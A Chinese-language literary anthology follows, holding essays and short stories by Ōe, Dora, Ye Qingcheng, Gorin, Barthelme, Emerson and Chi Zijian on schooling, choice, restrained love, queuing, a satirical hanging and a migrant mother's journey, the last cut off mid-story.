　　最初，我没有怎么考虑过孩子为什么要上学的问题，反倒很怀疑，孩子是否一定要上学。当时我十岁，是在秋天。那年夏天，日本在太平洋战争中战败。

　　战败使日本人的生活发生了很大的变化，那之前，我们孩子，还有大人，接受的一直是我们相信我们国家最强大最有力量的教育，说日本天皇是个神，然而战后我们明白了，其实天皇也是人。

　　敌国中的美国，是我们最害怕，也最憎恨的国家，可是现在，又是这个国家成为我们要从战争废墟中重新站起来最需要依赖的国家。

　　我觉得，这样的转变是对的。可是战争刚结束一个月，我就不愿去学校上学了。

　　因为直到仲夏，一直说“天皇是神，要向天皇的照片顶礼膜拜，美国人是恶魔，野兽”的老师，竟然十分自然地开始说起完全相反的话来，并且也没有对我们做一些诸如以前的教育方法是错误的之类的交代。他们教我们说天皇也是人，美国人是朋友，是那么自然而然。

　　进驻的美国兵乘坐着几辆吉普车开入林木密布的山间小村落，那天，就在我们出生的地方，学生们摇着自制的星条旗用英语高呼“HELLO”，站在道路的两旁，夹道欢迎了他们。我呢，从学校跑出来，跑到森林中去了。

　　从高处俯视山谷，小模型一样的吉普沿着河边的道路开进了村庄，如同豆粒大小的孩子们的脸虽然看不清楚，可是，他们的“HELLO”喊声却听的真切，我流了眼泪。

　　从第二天早上起，一去学校，我马上就从后门出去直奔林子，一直到傍晚，都是我一个人度过。我把大本的植物图鉴带到林子里，在图鉴中寻找着林子里的每一棵树的名字和特性，并把它们一一记在心里。

　　我们家做着与林木管理有关的工作，我记下了树木的名字和特性，应该是对将来的生活有益的。林子里树木的种类实在太多了。这么多的树都有各自的名字和特性，我觉得十分有趣，简直着了迷。

　　我不打算去上学了，在森林里一个人对照植物图鉴记树木的名字，了解他们的特性，将来就可以靠这些知识生活了。再说，我很清楚，从心里喜欢树，对树有兴趣，能和我一起谈论它们的人，无论老师还是同学，一个都没有，那么我为什么还一定要去学校，学习一些和将来生活毫不相干的东西呢？

　　秋季的一个大雨天，我照常进了林子，雨越下越大，林子中到处流淌着从前没有的水流，连道路也坍塌了。天黑了，我没有走出林子，并且开始发烧，第二天，是村里的一个消防队员在一棵大的七叶树的树洞里面发现了昏迷的我，把我救了出去。

　　回家以后，烧并没有退，从邻村来给我看病的医生说：“我已经没有办法了，没有药可以治。”这话仿佛是有人在梦里和我说一样，我都听到了。医生放下我走了，可是妈妈，只有妈妈，对我没有丧失信心，一直看护着我。

　　有一天深夜，我虽然还发烧，却从长时间的昏迷中清醒。我躺在塌塌米上面，妈妈坐在枕头旁边盯着我看。

　　“妈妈，我会死吧？”

　　“你不会死的，妈妈在这样为你祈祷。”

　　“医生不是说这孩子没救了么？我会死的。”

　　妈妈沉默了一会儿，对我说

　　“你就是死了，我也好再生你一次，所以，你不要担心。”

　　“可是，那个孩子和我不是同一个人啊。”

　　“不，是一个人。我会把你从生下来之后的到现在看到的，听到的，读到的，东西，做过的事情全部讲给新生下的你听。这样两个孩子就是一模一样的同一个孩子了。”

　　妈妈的话我好像没有完全明白，但是心里却宁静下来，安安稳稳的睡觉了。从第二天开始我慢慢康复，到了初冬，我开始想上学了。

　　不论是在教室里上课还是在运动场上打战争结束后开始流行的棒球，我经常会有一个人发呆想事情的时候。现在活在这里的我，是不是发了高烧死去之后又被妈妈再一次生出来的孩子呢？我现在的记忆是不是由妈妈讲给那个死去的孩子所看到，听到，读到的东西和他经历的一切事情形成的呢？并且，是不是我继续使用那个死去的孩子的语言在想事情，在说话呢。

　　我还经常想，教室里，运动场上的孩子们是不是都是没有长大就死去的孩子呢？他们又被重新生出来，听到死去的孩子们的所见所闻，按照他们的样子替他们说话。我有证据：那就是我们都用同样的语言说话。

　　并且，我们是为了让这种语言完全成为自己的东西才来到学校学习的。不仅仅是语文，就连自然科学，算术也都是这一继承必须的。如果只是拿着植物图鉴和眼前的林木去对照，那么就永远不能代替死去的那个孩子，只能和他一样永远不能成为新的孩子。所以我们才都来到了学校，大家一起学习，一起做游戏。

　　现在我又想起了一件我成人之后发生的事情。

　　我的长子是个叫做光的孩子。他出生的时候头部异常，后脑勺又一个看上去和脑袋差不多大小的包。医生把它切了下去，并且尽可能使大脑不受影响的缝合了伤口。

　　光很快长大了，只是到了 5 岁还不会说话。相反呢，他对声音的高低，音色的厚薄特别敏感。比起人的语言，他首先记住的是许许多多鸟儿的叫声，而且他一听到鸟的歌声，就能说出鸟的名字来。鸟的名字，他是从唱片上学来的。这是光说话的开始。

　　光 7 岁的时候才上学，进入了特别班。集中在那里的孩子，身体上都有不同的残疾。有的总是要大声喊叫，有的不能安静，要不停的动。一会儿撞到桌子，一会儿掀翻椅子。从窗户望进去，看到光总是用手捂着耳朵，身体呈现僵硬的姿态。

　　于是已经是成年人的我又问自己孩童时期的那个问题，光为什么一定要去上学呢？孩子只懂得鸟的歌声，又喜欢父母教他鸟儿的名字。那么我们为什么不回到村子里面去？在林中盖个小房子，我按照植物图鉴确认树木的名字和特性，光听鸟儿的歌唱，妻子呢，就在一旁画画我们的速写，这样的生活，有什么不可以呢？

　　解决了这个摆在我面前的难题的竟然是光。

　　光进入特别班之后不久，发现了一个和自己一样不喜欢噪声的小朋友。于是，两个人便总是坐在教室的角落里面互相握着对方的手，一起忍耐教室的吵闹。

　　不仅如此，光还开始帮助这个活动能力比他差的小朋友去上厕所了。能帮助小朋友做一些事情，对光来说，实在是种充满新鲜感的快乐体验。渐渐的，他们两个人开始距离其他孩子远一点的地方摆上椅子，一起听广播里的古典音乐了。

　　又过了一年，我发现超越了鸟的声音，人类创造的音乐开始成为光可以理解的语言了。他甚至能从播放过的曲子里面记下朋友喜欢的曲目的名字，而且回到家里还可以找到这张光盘。老师也发现这两个平时很少开口的孩子的语言之中，已经出现了巴赫，莫扎特的名字。

　　从特别班到养护学校，光是和那个孩子一起上的。在日本读完高三，智障孩子的学校教育就结束了。毕业前夕，老师要为大家举行告别会，作为家长，我也去了。

　　在毕业典礼的宴会上，无数次听到老师说从明天开始不用上课了的光说：“实在是不可思议啊。”

　　光说完，朋友也说，是啊，真的不可思议啊。

　　两个人都如梦初醒似的，静静的微笑浮现在脸上。

　　光从小跟着母亲学钢琴，这会儿已经可以自己作曲了。我根据他们的这段对话写了一首诗，光把它谱了曲，这就是后来的《毕业变奏曲》。

　　现在对于光来说，音乐是他蕴藏于内心的深刻而丰富的东西，也是他将内心的情感向他人，向社会传达的唯一语言。这种语言是在家庭里发芽，在学校里发展成形的。不仅仅是语文，还要自然科学，算术，体操，音乐，这些都是深刻了解自己，与他人交流的语言。

　　为了学习这些，无论是什么时代，孩子都是要去上学的。我认定了。

我只要一种

朵拉

　　突然走进一个多选择时代。

　　从前是一个人衣橱里有三件衣服已经太多，换来换去，白衣配黑裙，不然就黑裙配白衣。脚上的鞋子是一双三用，走路跑步吃宴会。假如有个人拥有四件衣服两双鞋子，嘿，那不得了，他肯定是来自富裕之家。

　　当年在物质上大家都是穷的，要买个家用品或者是电器等等什么的，只设定一个目标，就那几个著名牌子之中选一个。

　　突然，一切就变了样。超市、商场、购物中心、大卖场，到处都是，逛了一家换一家，要买样东西，想找样小用品，也有太多的名牌，太多的选择，满山满谷那样的快溢出来的样子，走到头昏脑涨，看到眼花缭乱，你还是无法作出最佳的选择。

　　一切都太多太多了。结果是怎么样？太多选择没目标，最后索性通通都不要。

　　比如去最爱的乳酪蛋糕店，坐下，对着印刷精美的菜单，挑选心目中最理想口味的乳酪蛋糕。

　　咖啡、香蕉巧克力、红莓、提拉米苏、纯乳酪……天呀，怎么没有不爱的？

　　原来我们不是进来选自己最喜欢的，而是进来学习如何放弃。选 A，不舍得 B；选 B，会想念 c；选 C，那么就一直幻想 D 的味道；选 D 呢，难道不要 E 了？不不不，最后混淆不清，到底哪一种最合口味？

　　爱死了乳酪蛋糕，真正走进蛋糕店，心里交战半天，最后只唤杯咖啡。

　　不想被选择破坏好心情。可以有哪个地方，不要有那么多选择的吗？

　　我只要一种。

月亮不见了

叶倾城

　　她爱上他鬓边的微霜，是白净草原上的风，带来风、尘及野外的诱惑，她甘愿飞马前去。他触到她白衣黑裙的庄重下，隐了一颗不羁的心。他不知是该欢喜还是恐惧。

　　周六叫她加班，电话打到她家，半晌，她才接过话筒。“喂？”声音里，满是粘稠睡意。一个字腻中带涩，袅袅娜娜，青蛇般钻入他耳孔。他迟疑一下，“是我。”

　　只听她一声大叫，电话呛啷掉了。何谓近情情怯，他如何能不懂。

　　一晚跟客户吃饭，宾主尽欢后，他们最后离开。无意一瞥，见她穿一件净白衬衫，只袖口有一团银灰荆棘无花，越发衬得她脸容微薰，桃花也似，无端端动人魂魄。

　　借了三分酒意，他随口道，“为什么总穿得这么素？”

　　她直直看他，是决定不再逃亡的小兽，看向猎人黑洞洞的枪口。“为了与你相配。”———他从来只穿黑白灰三色。汗将她的发粘在额上，如浓墨点碎的梅，一种天真的妖娆。反而是他心虚，掉开眼眸。

　　他大她一轮，自是不敢造次。却还是渐渐，起了传言。

　　不知是否与传言有关，他太太忽然上写字楼来，温婉抱歉地笑，“带了你喜欢的菠菜牛肉饼，新烤的。”

　　盒盖一开，香气四溢，办公室哇哇一片叫声。他慷慨地召来年轻人同享，人人吃得十指流油，却蓦地看见她，困坐在电脑前，背如一堵执拗的墙。有人招呼她，她不理。再招呼，她道，“减肥。”声音古怪，仿佛喉里哽了一道呜咽。

　　他突然恼火起来，却无能为力。一向他视若珍宝的家庭日子，原来也像一块咬不烂的牛筋在他牙缝间，剔不掉。他不说什么，下月她却收到调令，外派她去广州，职位升了一级。同事纷纷向她道贺，人声如雷，她一言不发，只向他投来质疑目光：是你？眼神薄如蝶翅。

　　他一直躲，却在内部网上收到 MAIL：……明天，你能来机场送我吗？

　　窗外有雨，雷声隐隐传来。是他心中的震跳，越来越巨大，越出心室，充斥穹庐。

　　这样看见她。雨如细小白莲，一瓣一瓣落地。人人躲在候机厅里，唯有她，孤零零站在门前雨地里，黑裙透湿贴身，是一棵枝叶落尽的花树。行李无多，只一提一背，分明不是一个牵牵绊绊的女子。

　　他在车里，车在停车场里，停车场在雨里。隔窗看见她裸露的双臂，那么幼弱，铅笔素描般淡至无痕，遇水将溶。刹时间，有抱她入怀的冲动。

　　手伸向门把手，却滞住。

　　天地这样寂静，机场也可以如旷野，惟她伫立如祭坛女子，她的爱，便是她全盘托出的祭祀品。凡人如他，一旦碰触，定是亵渎，会不会有烈焰焚身焚城？

　　他的手，把门柄握得越来越紧。只消轻轻一扭，人生或者就此改观，有命运，在极之凶猛地敲门，有白衣的六翼天使在轻飞。雨渐渐下得紧了，一滴滴都是焦灼的吻，她像一只被浇得精湿、失去飞翔能力的小麻雀，等待救援。

　　他缓缓放开手。拉上帘，扭开音响，建筑一个有声有色的小小堡垒来对抗她的存在。无意间，拂落了硬币盒，弯身捡拾的时候，分明地感到自己的肚腩，妨碍着。

　　他是她的蒹葭四月，她终究要走过，他却不敢，赔上自己的一生。

　　他想他已经老了，无论健美教练、体检医生、许多艳羡的声音怎么说。年龄令他残忍与怯弱，心是渐萎的花，不能再次盛放。

　　人生左手是月亮，右手是六便士；连六便士，他都捡得有些吃力，而月亮，月亮不见了。

蓝色的还是带条的

格里高利 · 戈林（译者：李冬梅）

　　事情经过是这样的：去年秋天，单位派我来莫斯科出差。我到了莫斯科，先找一家旅馆安顿好随身带的东西，然后在一家小饭店吃过午饭后就去忙正事儿——逛街去了。

　　我在一家百货商场门前，看见那儿正排着一个长长的队伍。我很高兴，猜想那儿肯定是在卖什么好东西。因为大家都这么认为，只要一排队，那肯定是在卖什么好东西。后来我又仔细观察了一下，确信那儿现在正卖的东西肯定难得一见，因为队伍非常长，从街上就开始了，然后又沿着一楼的楼梯往上排，都看不见尽头。

　　我急忙朝队尾走了过去，问边上的一个女人：“谁是最后一位？”

　　那个女人回答：“我是最后一个。”

　　我又问：“这儿卖什么呢？”

　　那个女人说：“到底卖什么呢，我也不知道。只是有人出来说，后来的就不要再排了，已经没有这么多了。”

　　可我还不死心：“那他们卖的那个东西多少钱啊？”

　　那个女人如实相告：“20 个卢布。”

　　我一听很高兴：“价格还行，就排一会吧。”

　　我站在队尾耐心地等待着。

　　陆陆续续又来了一些人站在我的后面。现在我站在队伍中间，感觉舒服多了，因为后面有人给我挡风了。

　　我就这样一直在队伍中排着。

　　只是我心里没底，不知道大家在这儿到底排什么呢？我找机会问了几次周围的人，这儿到底卖什么呢？是吃的、穿的、还是用的？

　　没人回答我。一半是跟我一样，不知道；另一半是知道却不说，故意让我们这些不知道的着急。

　　那我也还是不想走开。

　　突然，上面闪出一个售货员大声说：“大家听清了：只剩下 15 号的和 16 号的了！”

　　说完，她转身就回去了。

　　人群里一阵骚动。我的心也悬了起来，不知道剩下的这两个号是不是合适。不过也没什么了不起的，我想，办法总是有的。要是小，就撑大点儿，要是大，就改小点儿。要是用电的东西，我们就安个变压器。

　　不管怎么说，我是等定了。

　　一个小时后，突然传出来一个消息说，这个东西也可以去一个什么三号柜台买，不用排队。

　　既然不用排队，那就挤吧。于是众人蜂拥而上，把我夹在了中间，我被连推带拥地挤到了三号柜台前。

　　一个女售货员朝我大喊：“你要什么？”

　　我喘着粗气说：“就要你现在卖的这个东西！”

　　她一听更火了：“我是问你要蓝色的还是要带条的？”

　　我不得不央告她说：“求求你了，你先给我看看什么样吧。”

　　可她真不给面子：“你想的倒美！这都包着呢！”

　　我已无可奈何：“那就蓝色的和带条的各来一个吧。”

　　我交了钱，抱着两个盒子又开始往出口挤。感觉一个盒子重一点儿，一个盒子轻一点儿，里面好像有什么东西在晃动……周围的人还在挤来挤去，推推搡搡，一不留神就得被挤倒。

　　突然一个乌兹别克老头拦住了我的去路：“好孩子，你卖给我一个吧。就为这个东西我这都是第四次来莫斯科了！”

　　我说：“老爷爷，也许我能卖给你一个，只是你得先告诉我，我买的这是什么东西。”

　　可老头的回答让我大失所望：“这个东西用俄语我不会说，用乌兹别克语译不过来。”

　　我只好对老头说：“那你还是自己去挤吧。这个东西我自己也需要。”

　　老头还想和我商量。我为了躲开老头，往旁边一侧身，结果脚被什么东西绊了一下，我从楼梯上滚了下去……

　　第二天我在医院里醒过来后，马上问值班护士：“护士，我的东西呢？”

　　“什么东西？”护士问。

　　“就是我买的那两个东西。”

　　“你买了两个什么东西？”

　　“什么东西，”我说，“我也说不清楚。”

　　“那你什么时候想起来，我们什么时候让你出院。”

我们当中某些人一直在威胁我们的朋友考尔比

唐纳德 · 巴塞尔姆

　　由于考尔比近来的所作所为，我们当中的某些人一直在威胁他。现在，他走得实在太远了，我们决定吊死他。考尔比争辩说，走得太远（他并未否认他走得太远）可不意味着活该被吊死。他说谁都有走得太远的时候。

　　对他的辩词我们没怎么注意。我们问他行刑时想听点什么音乐。他说他要考虑考虑，做这个决定需要一点时间。我指出，我们必须马上知道。因为霍华德，他是乐队指挥，必须雇乐师，还要排练，要是他不知道曲目，这一切都无法开始。考尔比说他喜欢艾普斯第四交响曲。“缓兵之计，”霍华德说，谁都知道，艾普斯的作品简直演奏不出来，需要好多个礼拜排练，而且乐队与和声的规模远远在我们的音乐预算之外。“理智点吧，”他对考尔比说。考尔比说他再想想简短一点的曲子。

　　休斯很为请柬的措辞担心。万一其中一封落到当局手里可怎么办？吊死考尔比无疑是违法的，一旦他们了解到计划详情，肯定会介入进来，把事情弄砸了。尽管吊死考尔比几乎肯定是违法的，但是在道义上，我们有权吊死他，因为他是我们的朋友。在每种重要的意义上，他都是属于我们的，更何况他已经走得太远了。

　　我们同意，请柬的措辞将使被邀请者搞不清他被邀请去做什么。我们选了一种漂亮的草体字和奶油色的纸张。马格吕斯说他来负责印刷的事情，他问我们是否应该供应饮料。考尔比说有饮料当然好，不过他想会带来经费上的问题。我们和善地告诉他经费问题是无关紧要的，我们毕竟是他最亲爱的朋友，如果一帮他最亲爱的朋友们还不同心协力还不把事情办得漂漂亮亮的，这世界还有什么希望可言？下一件事是绞架的问题。我们谁都不懂设计绞架，不过建筑师托马斯说最关键的是一个能够良好工作的活门。他说加上人工和材料费，大约要花我们四百元。“天哪！”霍华德说，托马斯你在算些什么东西？花梨木吗？托马斯说，不，只不过是一段好松木而已。维克多问，不上漆的松木看起来是否有点“粗糙”；托马斯回答说他想染成胡桃木色也费不了多大事。

　　我说，尽管我也认为整件事必须做得漂亮圆满，不过一个绞架就要四百元，超过其他所有饮料、请柬和乐师等等的费用，也有点太过分了。为什么我们不利用一棵好看的橡树或别的什么？我指出，既然绞刑定在六月举行，吊死在繁盛的树叶之中，不仅有一种自然的风韵而且极合传统，尤其是西部的传统。托马斯，他一直在信封背面绘制绞架草图，提醒我们说在室外进行绞刑有下雨的危险。维克多说他喜欢放在室外的主意，比如在河边，但要注意到必须远离城市，这又带来了客人和音乐家们来回的交通问题。

　　这时候每个人都看着哈瑞，他经营着一个轿车出租公司。哈瑞说，他想可以找到足够多的豪华轿车，但是应该给司机适当的报酬。他指出，司机不是考尔比的朋友，指望他们免费提供服务是不可能的。他还说如果在室外举行，我们最好准备一个帐篷或雨遮，至少让重要人物和乐队有所遮蔽，否则万一下了雨，他们会不高兴的。

　　至于是用绞架还是树，他说，他没有特别的偏向而且他想最后的选择权应该属于考尔比，这毕竟是他的绞刑嘛。考尔比说谁都有走得太远的时候，我们是不是有点太苛刻了？霍华德严厉地说，这个问题早就讨论过了，你到底要什么？绞架还是树？考尔比问他能否有一个行刑队。不，霍华德说，不行，什么行刑队，全是考尔比自私的小把戏，什么蒙眼布啊，什么最后一根香烟屁股啊，别想用多余的表演为难我们。

　　考尔比说他很抱歉，他并不是那个意思，他选树。托马斯厌恶地把他画的绞架草图揉成一团。接着是刽子手的问题。彼得说我们可以用树，把套索调整到适当的高度，考尔比可以从椅子或别的什么上跳下来。另外，彼得说，他很怀疑现在是否还有可以自由雇用的刽子手，现在的死刑都是暗中和临时进行的。我们也许不得不从英国、西班牙或南美国家飞运一个来，我们甚至还不知道那人是否称职是否是真正的刽子手，他会不会是一个急需钱用的业余刽子手，他会不会把事情弄得一团糟，让我们在所有人面前丢尽颜面？我们一致同意让考尔比从什么东西上往下跳，不能用椅子，我们觉得那看起来太可笑了——我们漂亮的树底下却摆着一把破破烂烂的厨房椅子。外形有点现代、富于创新精神的托马斯建议，让考尔比站在一个直径十英尺的橡皮球上。他说它能提供足够的下坠力，而且即使考尔比突然改变主意不跳了它也会自动滚开的。他提醒我们不用刽子手会使我们更多地依赖于考尔比完成此事的自我责任感。尽管他相信考尔比是守信用的，是不会在最后一分钟让朋友们丢脸的。我们还是应该明白，要做得保险一些，一个十英尺的橡皮球也花不了太多钱，它能保证演出大获成功。

　　一提到绳子，一直都保持沉默的汉克突然说，是不是最好不用绳子而用电线更有效，对考尔比也好。考尔比听了脸都绿了，我不怪他，这也太难受了——吊死在一根电线，而不是绳子上——光是想想都觉得恶心。我想汉克坐在这儿唠叨什么电线真是让人太不愉快了，尤其是在我们刚刚用托马斯关于橡皮球的主意如此简捷地解决了考尔比从什么上跳下来的时候。我忙说电线会因为考尔比的重量而嵌进树枝里去，这会使树受到伤害，在环境问题受到了更多重视的今天，我们并不想这么做，不是吗？考尔比感激地看了我一眼，然后会议就结束了。

　　行刑那天，一切都非常顺利（考尔比最后选的音乐是埃尔加的作品，标准乐队配置，霍华德和他的小伙子们演奏得很棒）。没有下雨，观礼者很多，我们的苏格兰威士忌以及别的也都足够用的。那个十英尺的球漆成了深绿色，与周围的田园环境显得十分和谐。整个过程中给我留下深刻印象的有两件事，一是考尔比给我的那感激的一眼；另一件事就是从此以后，再也没有人走得太远了。

相信自己

爱默生

　　相信你自己的思想，相信你内心深处所确认的东西众人也会承认——这就是天才。

　　尽管摩西、柏拉图、弥尔顿的语言平易无奇，但他们之成为伟人，其最杰出的贡献乃在于蔑视书本教条，摆脱传统习俗，说出他们自己的，而不是别人的思想。一个人应学会更多地发现和观察自己心灵深处那一闪即过的火花，而不只限于仰观诗人、圣者领空里的光芒。可惜的是，人总不留意自己的思想，不知不觉就把它抛弃了，仅仅因为那是属于他自己的。

　　在天才的著作里，我们认出了那些自己业已放弃的思想，它们显得疏异而庄严。于是，它们为我们拱手接纳——即便伟大的文学作品也没有比这更深刻的教训了。这些失而复得的思想警谕我们：在大众之声与我们相悖时，我们也应遵从自己确认的真理，乐于不作妥协。

　　随着学识渐增，人们必会悟出：嫉妒乃无知，模仿即自杀；无论身居祸福，均应自我主宰；蕴藏于人身上的潜力是无尽的，他能胜任什么事情，别人无法知晓，若不动手尝试，他对自己的这种能力就一直蒙昧不察。

　　相信自己吧！这呼唤震颤着每一颗心灵。

　　伟人们向来如此，他们孩童般地向同时代的精英倾吐心声，把自己的心智公之于众，自本自为；从而拔萃超类。

　　但人们却常被自己的意识关进了囚牢。一旦他的言行给自己带来声誉，他便受制于众人的好恶，从此难免要取悦于人。他再也不能把别人的感情置之度外了。

　　对外界的妥协态度，威胁了人们的自信力。往往，你对自己往昔的言行且敬且畏，只图与之相协调，因为除了自己往昔的行为以外，再无其他数据可供别人来计算你的轨迹了；而让人失望又非你所愿。

　　但为什么要回顾过去，为什么为了不与你在大庭广众下陈述过的观点相抵触，就拖着记忆的僵尸不放呢？假如那是你务须反驳的谬论，那又怎样呢？看来即使在纯记忆的行为里，你也不能只单单依赖记忆力，而应该把往事摆在千目共睹的现在来判断，从此以后不断自赎自新——这才是智慧之道。

　　愚蠢的妥协调和是小人的伎俩，它为渺小的政治家、哲学家和神学家所崇拜。

　　我们今天应该确凿地说出今天的想法，明天则应确凿地说出明天的意见，即使它与今日之见截然相悖。——“哎呀，这么一来你肯定会被误解的！”——难道被误解是如此不足取吗？毕拉哥拉斯就曾被误解，还有苏格拉底、路德、哥白尼、伽利略、牛顿，还有古今每一个有血有肉的智慧精灵，他们唯谁未遭误解？欲成为伟人，就不可避免地要遭误解。

　　人往往懦弱而爱抱歉；他不敢直说“我想”、“我是”，而是援引一些圣人智者的话语；面对一片草叶或一朵玫瑰，他也会抱愧负疚。他或为向往所耽，或为追忆所累；其实，美德与生命力之由来，了无规矩，殊不可知；你何必窥人轨辙，看人模样，听人命令——你的行为，你的思想、品格应全然新异。

一坛猪油

迟子建

　　一九五六年吧，我三十来岁，已经是三个孩子的妈妈了。上头的两个是儿子，一个九岁，一个六岁。老小是个丫头，三岁，还得抱在怀里。

　　那年初夏的一个日子，我在河源老家正喂猪呢，乡邮递员送来一封信，是俺男人老潘写来的，说是组织上给了笔安家费，林业工人可以带家属了。他让我把家里的东西处理一下，带着孩子投奔他去。

　　老潘打小没爹没娘，他有个弟弟，也在河源。那时家里没值钱的东西，我把被褥、枕头、窗帘、桌椅、锅铲、水瓢、油灯通通给了他。猪被我贱卖了，做路费；房子呢，歪歪斜斜的两间泥屋，很难出手。我正急着，村头的霍大眼找上门来了。霍大眼是个屠夫，家里富裕，他跟我说，他想要这房子做屠宰场，问我用一坛猪油换房子行不。见我犹豫，他就说老潘待的大兴安岭他听人说过，一年有多半年是冬天。除了盐水煮黄豆就没别的吃的，难见荤腥。他这一说，我活心了，跟着他去看那坛猪油。

　　那是个雪青色的坛子，上着釉，亮闪闪的。先不说里面盛的东西，单说外表，我一眼就喜欢上了。我见过的坛子，不是紫檀色的就是姜黄色的，乌秃秃的，敦实耐用，但不受看。这只坛子呢，天生就带着股勾魂儿的劲儿，不仅颜色和光泽漂亮，身形也是美的。它有一尺来高，两拃来宽，肚子微微凸着，像是女人怀孕四五个月的样子。它的勒口是明黄色的，就像戴着个金项圈，喜气洋洋的。我还没看坛子里的猪油，就对霍大眼说，我乐意用它换房子。

　　我掀开坛子的盖儿，闻到了一股浓浓的油香，只有新炼出的猪油才会有这么冲的香气啊。再看那油，它竟然灌满了坛子，不像我想的，只有多半坛。那一坛猪油少说也有二十斤啊。猪油雪白雪白的，细腻极了，但我还是怕霍大眼把好油注在上面，下面凝结的却是油渣。我找来一截高粱秆，想探个虚实。我把高粱秆插进猪油的时候，霍大眼在一旁叹着气。我插得很慢，高粱秆进入得很顺畅，一直到底，些微阻碍都没有，说明这油是没杂质的。我抽出高粱秆来的时候，霍大眼说，这坛猪油是新炼的，用了两头猪上好的板油，他嘱咐我不能把猪油送给别人吃，谁想舀个一勺两勺也不行，一定要自己留着，因为这坛猪油他是专为我准备的。他说我若给了不相识的人吃，等于糟践了他的心意。我答应着，搬起这坛猪油出了院子。

　　我领着仨孩子上路了。那时老大能帮着干活儿了，我就让他背着四只碗、一把筷子、五斤小米和一个铝皮闷罐。老二呢，我也没让他闲着，他提着两罐咸菜和一摞玉米饼子。我编了一个很大的柳条篓，把我和孩子的衣服放在下面，然后让老三坐在上面，这样我等于背了衣服又背了孩子。我怀中抱着的，就是那个猪油坛子。

　　那是七月，正是雨季。临出发时，老潘的弟弟送了我一把油纸伞。我把它插在柳条篓里。老三在篓子里待得没意思时，就把它当甘蔗，啃个不停。

　　我们先是坐了两个钟头的马车，从河源到了林光火车站。在那儿等了三个钟头，天傍黑时，才上了开往嫩江的火车。那时往北边去的都是烧煤的小火车，它就像一头刚从泥里打完滚儿的毛驴，灰秃秃的。小火车都是两人座的，车上的人不多。别的旅客看我拖儿带女的，这个帮我卸背篓，那个帮我把孩子手中的东西接过来。还没等我们安顿好呢，火车就像打了个摆子似的，咣当咣当地开了。它这一打摆子不要紧，把站在过道上的老二给晃倒了，他的头磕在坐席角上，立时就青了，疼得哇哇大哭。我一想直后怕，万一老二磕的是眼睛，瞎了眼，我哪还有脸去见老潘哪。

　　我把猪油坛子放在了茶桌下面。一到火车要靠近站台时，就赶紧猫腰护着，怕它像老二一样被晃倒了。

　　带着仨孩子出门真不容易啊。一会儿这个说饿了，一会儿那个说要拉屎撒尿，一会儿另一个又说冷了。我是一会儿找吃的，一会儿领着他们上厕所，一会儿又翻衣服。天黑以后，车厢里的灯就暗了，小东西们折腾累了，老大斜倚着车窗，老二躺在坐席上，老三在我怀中，都睡了。我不敢睡，怕迷糊过去后，丢了东西和孩子。熬了一宿，天亮时，我们到了嫩江。

　　按照老潘信上说的，我找到了长途客运站。往黑河去的大客车三天一趟，票贵不说，我们来得不凑巧，刚走了一辆，等下趟要两天呢。我怕住店费钱，就买了便宜的大板汽车票，当天下午就上路了。

　　什么叫大板汽车呢？就是敞篷汽车，车厢体的四周是八十厘米左右高的木板，看上去像是猪圈的围栏。车上坐了三十来人，都是去黑河的。车上铺着干草，人都坐在草上。车头是好位置，稳，行路时不觉得特别颠，人家见我带着仨孩子，就让我坐在车头。我怕猪油坛子被颠碎，就把它夹在腿间。我用胳膊抱着孩子，用腿勾着坛子，引起了别人的笑声。有一个男人小声跟他身边的女人嘀咕：这女人一定是想男人了，把坛子都夹在裤裆里了。我白了他们一眼，他们就赶紧夸那只坛子好看。

　　坐敞篷车最怕的不是毒日头，而是雨。一下雨，大家就得把一块大苫布打开，撑在头顶，聚堆儿避雨。雷阵雨不要紧，哗啦哗啦下个十分八分也就住了，要是赶上大雨，就遭殃了。路会翻浆，不能前行，就得停靠在中途的客栈。

　　我们离开嫩江时天还好好的，走了两个来钟头后，天就阴了。路面坑坑洼洼的，司机开得又猛，颠得我骨头都疼了，好多人都嚷着肠子要被蹾折了。乌云越积越厚，接着空中电闪雷鸣的，没等我们把苫布扯开，雨点就噼里啪啦落下来了。我在车头，又要撑苫布又要顾孩子的，早把猪油坛子丢在一边了。那时只嫌自己长的手少，要是多出一双手来多好啊。雨越下越大，车越开越慢，苫布哗哗响着，感觉不是雨珠打在上面，而是一条河从天上流下来了。苫布下的人挤靠在一起，才叫热闹呢。这个女人嫌她背后的男人顶着了她的屁股，那个女人又嫌挨着她的老头儿口臭，抱怨声没消停过。不光是女人多嘴多舌，家禽也这样。有个人带了一笼鸡，还有个人用麻袋装着两只猪羔。鸡在窄小的笼子中缩着脖子咯咯叫，猪把麻袋拱得团团转。老大看猪羔把麻袋快拱到猪油坛子旁边了，就伸脚踹了一下。猪羔的主人生气了，他骂老大：它是猪，不懂事，你也是猪啊？老大小小年纪，但嘴巴厉害，顶起人来头头是道。他说：它不是人，不懂事；你是人，怎么也不懂事？苫布下的人都被老大的话给逗笑了。

　　傍晚的时候，汽车终于在老鸹岭客栈停了下来。尽管挡着苫布，但雨实在太大了，我蹲在苫布边上，衣服的后背都被雨潲湿了。我抱着坛子走进客栈时，店主一眼就相中它了。他问我，这是从哪儿弄来的古董啊？我说这不过是只猪油坛子。他嘴里啧啧叫着，在坛子上摸了一把又一把。他老婆看了生气了，说，你看它细发，摸个没完了？店主说，坛子又不是女人的屁股，有什么不能摸的？店主问我，它值多少钱，连油带坛子卖给我行吗？我说自己用两间泥屋换来了这坛猪油，我喜欢，不卖。店主冲我翻眼白，他老婆却给了我一个媚眼。

　　我们在老鸹岭等天放晴，一停就是三天。那时的客栈都是光板铺，上下两层，每层铺能躺二十几人。一般是男人住上铺，女人和孩子住下铺。人多，被子不够使，就两个人用一条。为了省点儿钱，我和孩子不吃客栈的饭，吃自己带来的玉米饼子和咸菜。下雨天凉，我怕孩子们受寒会闹病，就借用他们的灶房，用带来的闷罐和小米熬粥。我一进灶房，店主就和我纠缠，要买那只猪油坛子，说是多给我钱，不让他老婆知道。我讨厌和老婆隔心的男人，就说你就是给我座金山，也不换这个坛子！店主生了气了，他要收我煮粥的柴火费。我说你觉得那点儿钱拿在手上不烫手，就收吧！他冲我大叫：你这种死心眼儿的女人拿在手上才烫手呢！

